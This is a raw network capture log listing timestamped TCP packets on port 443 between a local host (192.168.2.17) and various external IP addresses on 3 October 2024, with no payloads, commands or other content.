Oct 3, 2024 17:19:39.276765108 CEST	443	55918	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:39.276829004 CEST	55918	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:39.277084112 CEST	55918	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:39.277101040 CEST	443	55918	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:39.285382032 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:39.285417080 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:39.285475016 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:39.285651922 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:39.285669088 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:39.291866064 CEST	55921	443	192.168.2.17	91.228.74.159
Oct 3, 2024 17:19:39.291956902 CEST	443	55921	91.228.74.159	192.168.2.17
Oct 3, 2024 17:19:39.292154074 CEST	55921	443	192.168.2.17	91.228.74.159
Oct 3, 2024 17:19:39.292335033 CEST	55921	443	192.168.2.17	91.228.74.159
Oct 3, 2024 17:19:39.292368889 CEST	443	55921	91.228.74.159	192.168.2.17
Oct 3, 2024 17:19:39.684570074 CEST	443	55906	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:39.685713053 CEST	55906	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:39.685722113 CEST	443	55906	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:39.687263966 CEST	443	55906	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:39.687330008 CEST	55906	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:39.690834999 CEST	55906	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:39.690918922 CEST	443	55906	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:39.734416008 CEST	55906	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:39.734421968 CEST	443	55906	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:39.781404972 CEST	55906	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:39.894978046 CEST	443	55914	66.226.1.69	192.168.2.17
Oct 3, 2024 17:19:39.896419048 CEST	443	55910	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:39.898134947 CEST	443	55911	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:39.898530006 CEST	55911	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:39.898562908 CEST	443	55911	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:39.898689032 CEST	55910	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:39.898709059 CEST	443	55910	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:39.898811102 CEST	55914	443	192.168.2.17	66.226.1.69
Oct 3, 2024 17:19:39.898833990 CEST	443	55914	66.226.1.69	192.168.2.17
Oct 3, 2024 17:19:39.899732113 CEST	443	55910	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:39.899863005 CEST	55910	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:39.900032997 CEST	443	55911	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:39.900104046 CEST	55911	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:39.902477026 CEST	443	55914	66.226.1.69	192.168.2.17
Oct 3, 2024 17:19:39.902554989 CEST	55914	443	192.168.2.17	66.226.1.69
Oct 3, 2024 17:19:39.903275967 CEST	443	55912	142.250.186.66	192.168.2.17
Oct 3, 2024 17:19:39.903620958 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:39.903636932 CEST	443	55912	142.250.186.66	192.168.2.17
Oct 3, 2024 17:19:39.903954029 CEST	55910	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:39.904110909 CEST	443	55910	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:39.904155016 CEST	55911	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:39.904170036 CEST	443	55912	142.250.186.66	192.168.2.17
Oct 3, 2024 17:19:39.904231071 CEST	443	55911	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:39.904232025 CEST	55914	443	192.168.2.17	66.226.1.69
Oct 3, 2024 17:19:39.904238939 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:39.904306889 CEST	443	55914	66.226.1.69	192.168.2.17
Oct 3, 2024 17:19:39.905169010 CEST	443	55912	142.250.186.66	192.168.2.17
Oct 3, 2024 17:19:39.905236959 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:39.905873060 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:39.905961990 CEST	443	55912	142.250.186.66	192.168.2.17
Oct 3, 2024 17:19:39.939074039 CEST	443	55917	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:39.939320087 CEST	55917	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:39.939341068 CEST	443	55917	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:39.940419912 CEST	443	55913	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:39.940679073 CEST	55913	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:39.940700054 CEST	443	55913	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:39.941015005 CEST	443	55917	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:39.941092968 CEST	55917	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:39.942341089 CEST	55917	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:39.942405939 CEST	443	55913	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:39.942426920 CEST	443	55917	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:39.942492008 CEST	55913	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:39.943355083 CEST	55913	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:39.943464041 CEST	443	55913	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:39.956410885 CEST	55911	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:39.956429958 CEST	443	55911	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:39.956480026 CEST	55914	443	192.168.2.17	66.226.1.69
Oct 3, 2024 17:19:39.956486940 CEST	55910	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:39.956486940 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:39.956497908 CEST	443	55914	66.226.1.69	192.168.2.17
Oct 3, 2024 17:19:39.956506014 CEST	443	55910	54.246.144.89	192.168.2.17
Oct 3, 2024 17:19:39.956532955 CEST	443	55912	142.250.186.66	192.168.2.17
Oct 3, 2024 17:19:39.957019091 CEST	443	55907	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:39.957209110 CEST	55907	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:39.957218885 CEST	443	55907	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:39.958170891 CEST	443	55907	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:39.958277941 CEST	55907	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:39.959029913 CEST	55907	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:39.959093094 CEST	443	55907	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:39.990376949 CEST	55917	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:39.990390062 CEST	55913	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:39.990408897 CEST	443	55917	172.217.23.98	192.168.2.17
Oct 3, 2024 17:19:39.990449905 CEST	443	55913	157.240.251.35	192.168.2.17
Oct 3, 2024 17:19:40.004436970 CEST	55907	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:40.004441977 CEST	55914	443	192.168.2.17	66.226.1.69
Oct 3, 2024 17:19:40.004455090 CEST	55910	443	192.168.2.17	54.246.144.89
Oct 3, 2024 17:19:40.004455090 CEST	55911	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:40.004466057 CEST	443	55907	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:40.004540920 CEST	55912	443	192.168.2.17	142.250.186.66
Oct 3, 2024 17:19:40.008110046 CEST	443	55909	18.171.79.250	192.168.2.17
Oct 3, 2024 17:19:40.008369923 CEST	55909	443	192.168.2.17	18.171.79.250
Oct 3, 2024 17:19:40.008397102 CEST	443	55909	18.171.79.250	192.168.2.17
Oct 3, 2024 17:19:40.010025024 CEST	443	55909	18.171.79.250	192.168.2.17
Oct 3, 2024 17:19:40.010106087 CEST	55909	443	192.168.2.17	18.171.79.250
Oct 3, 2024 17:19:40.011115074 CEST	55909	443	192.168.2.17	18.171.79.250
Oct 3, 2024 17:19:40.011220932 CEST	443	55909	18.171.79.250	192.168.2.17
Oct 3, 2024 17:19:40.013480902 CEST	443	55918	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:40.013669968 CEST	55918	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:40.013699055 CEST	443	55918	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:40.014707088 CEST	443	55918	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:40.014770985 CEST	55918	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:40.015577078 CEST	55918	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:40.015633106 CEST	443	55918	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:40.036423922 CEST	55917	443	192.168.2.17	172.217.23.98
Oct 3, 2024 17:19:40.037692070 CEST	55913	443	192.168.2.17	157.240.251.35
Oct 3, 2024 17:19:40.040254116 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:40.040512085 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:40.040544033 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:40.041266918 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:40.041332960 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:40.042270899 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:40.042327881 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:40.043271065 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:40.043365002 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:40.052397966 CEST	55907	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:40.052419901 CEST	55909	443	192.168.2.17	18.171.79.250
Oct 3, 2024 17:19:40.052444935 CEST	443	55909	18.171.79.250	192.168.2.17
Oct 3, 2024 17:19:40.068494081 CEST	55918	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:40.068526030 CEST	443	55918	157.240.0.6	192.168.2.17
Oct 3, 2024 17:19:40.084419966 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:40.084446907 CEST	443	55920	87.248.119.252	192.168.2.17
Oct 3, 2024 17:19:40.100419044 CEST	55909	443	192.168.2.17	18.171.79.250
Oct 3, 2024 17:19:40.110112906 CEST	443	55915	91.228.74.166	192.168.2.17
Oct 3, 2024 17:19:40.110320091 CEST	55915	443	192.168.2.17	91.228.74.166
Oct 3, 2024 17:19:40.110336065 CEST	443	55915	91.228.74.166	192.168.2.17
Oct 3, 2024 17:19:40.111782074 CEST	443	55915	91.228.74.166	192.168.2.17
Oct 3, 2024 17:19:40.111845016 CEST	55915	443	192.168.2.17	91.228.74.166
Oct 3, 2024 17:19:40.112606049 CEST	55915	443	192.168.2.17	91.228.74.166
Oct 3, 2024 17:19:40.112684965 CEST	443	55915	91.228.74.166	192.168.2.17
Oct 3, 2024 17:19:40.116398096 CEST	55918	443	192.168.2.17	157.240.0.6
Oct 3, 2024 17:19:40.132394075 CEST	55920	443	192.168.2.17	87.248.119.252
Oct 3, 2024 17:19:40.148391008 CEST	443	55921	91.228.74.159	192.168.2.17
Oct 3, 2024 17:19:40.148658991 CEST	55921	443	192.168.2.17	91.228.74.159
Oct 3, 2024 17:19:40.148698092 CEST	443	55921	91.228.74.159	192.168.2.17
Oct 3, 2024 17:19:40.150130987 CEST	443	55921	91.228.74.159	192.168.2.17
Oct 3, 2024 17:19:40.150202036 CEST	55921	443	192.168.2.17	91.228.74.159
Oct 3, 2024 17:19:40.151046991 CEST	55921	443	192.168.2.17	91.228.74.159
Oct 3, 2024 17:19:40.151130915 CEST	443	55921	91.228.74.159	192.168.2.17
Oct 3, 2024 17:19:40.164395094 CEST	55915	443	192.168.2.17	91.228.74.166
Oct 3, 2024 17:19:40.164407969 CEST	443	55915	91.228.74.166	192.168.2.17
Oct 3, 2024 17:19:40.196436882 CEST	55921	443	192.168.2.17	91.228.74.159
Oct 3, 2024 17:19:40.196455002 CEST	443	55921	91.228.74.159	192.168.2.17
Oct 3, 2024 17:19:40.214380980 CEST	55915	443	192.168.2.17	91.228.74.166
Oct 3, 2024 17:19:40.244431973 CEST	55921	443	192.168.2.17	91.228.74.159
Oct 3, 2024 17:19:40.266257048 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:40.266344070 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:40.266429901 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:40.266680956 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:40.266714096 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:40.890153885 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:40.890465021 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:40.890496969 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:40.891933918 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:40.892057896 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:40.893110991 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:40.893179893 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:40.893409014 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:40.893419981 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:40.946439028 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.078490019 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.078591108 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.078638077 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.079343081 CEST	55926	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.079361916 CEST	443	55926	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.093123913 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.093153000 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.093208075 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.093391895 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.093404055 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.709593058 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.710176945 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.710192919 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.711222887 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.711292028 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.711626053 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.711694002 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.711786985 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:41.711795092 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:41.756407976 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:42.018631935 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:42.018692970 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:42.018742085 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:42.019552946 CEST	55935	443	192.168.2.17	66.235.152.156
Oct 3, 2024 17:19:42.019567013 CEST	443	55935	66.235.152.156	192.168.2.17
Oct 3, 2024 17:19:44.884687901 CEST	55979	443	192.168.2.17	185.85.13.154
Oct 3, 2024 17:19:44.884717941 CEST	443	55979	185.85.13.154	192.168.2.17
Oct 3, 2024 17:19:44.884772062 CEST	55979	443	192.168.2.17	185.85.13.154
Oct 3, 2024 17:19:44.885329008 CEST	55979	443	192.168.2.17	185.85.13.154
Oct 3, 2024 17:19:44.885346889 CEST	443	55979	185.85.13.154	192.168.2.17
Oct 3, 2024 17:19:44.888158083 CEST	55980	443	192.168.2.17	185.85.13.155
Oct 3, 2024 17:19:44.888185024 CEST	443	55980	185.85.13.155	192.168.2.17
Oct 3, 2024 17:19:44.888257027 CEST	55980	443	192.168.2.17	185.85.13.155
Oct 3, 2024 17:19:44.888463020 CEST	55980	443	192.168.2.17	185.85.13.155
Oct 3, 2024 17:19:44.888484001 CEST	443	55980	185.85.13.155	192.168.2.17
Oct 3, 2024 17:19:45.411083937 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:45.411262035 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:45.411411047 CEST	55884	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:45.480992079 CEST	55884	443	192.168.2.17	104.21.79.120
Oct 3, 2024 17:19:45.481033087 CEST	443	55884	104.21.79.120	192.168.2.17
Oct 3, 2024 17:19:46.562026978 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:46.562036991 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:46.562093973 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:46.562361002 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:46.562371969 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.317766905 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.318054914 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.318068981 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.321623087 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.321712971 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.322093010 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.322249889 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.322256088 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.322273016 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.371505976 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.371516943 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.418432951 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.701782942 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.711812973 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.711824894 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.711855888 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.711883068 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.711893082 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.711903095 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.711931944 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.711936951 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.711971998 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.711986065 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.711987019 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.767445087 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.796875954 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.796890974 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.796924114 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.796935081 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.796971083 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.796982050 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.797014952 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.797034025 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.801896095 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.801908970 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.801949024 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.801992893 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.802010059 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.802031040 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.847456932 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.885315895 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.885334969 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.885389090 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.885396957 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.885405064 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.885461092 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.885468006 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.885482073 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.885524035 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.886759996 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.886780024 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.886817932 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.886825085 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.886837006 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.886868000 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.888454914 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.888477087 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.888519049 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.888525963 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.888537884 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.888570070 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.892935991 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.892955065 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.892995119 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.893001080 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.893014908 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.893047094 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.898255110 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.898336887 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.898340940 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.898386955 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.898720026 CEST	56007	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.898734093 CEST	443	56007	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.902595997 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.902626991 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.902708054 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.903531075 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.903547049 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.912266016 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.912276030 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.912341118 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.912589073 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.912601948 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.940656900 CEST	56023	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.940696001 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:47.940748930 CEST	56023	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.940946102 CEST	56023	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:47.940960884 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.637868881 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.638271093 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.638307095 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.639816046 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.640248060 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.640440941 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.640440941 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.653846979 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.654216051 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.654232979 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.655232906 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.655328035 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.655786037 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.655853987 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.655961990 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.655977011 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.667675972 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.667970896 CEST	56023	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.667988062 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.668466091 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.668843985 CEST	56023	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.668920994 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.668988943 CEST	56023	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.687402010 CEST	443	56021	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.688472986 CEST	56021	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.704492092 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.715405941 CEST	443	56023	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.936557055 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.936615944 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.936636925 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.936681986 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.936692953 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.936714888 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.936744928 CEST	443	56022	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:48.936770916 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.936839104 CEST	56022	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:48.937731981 CEST	56022	443	192.168.2.17	13.33.187.116
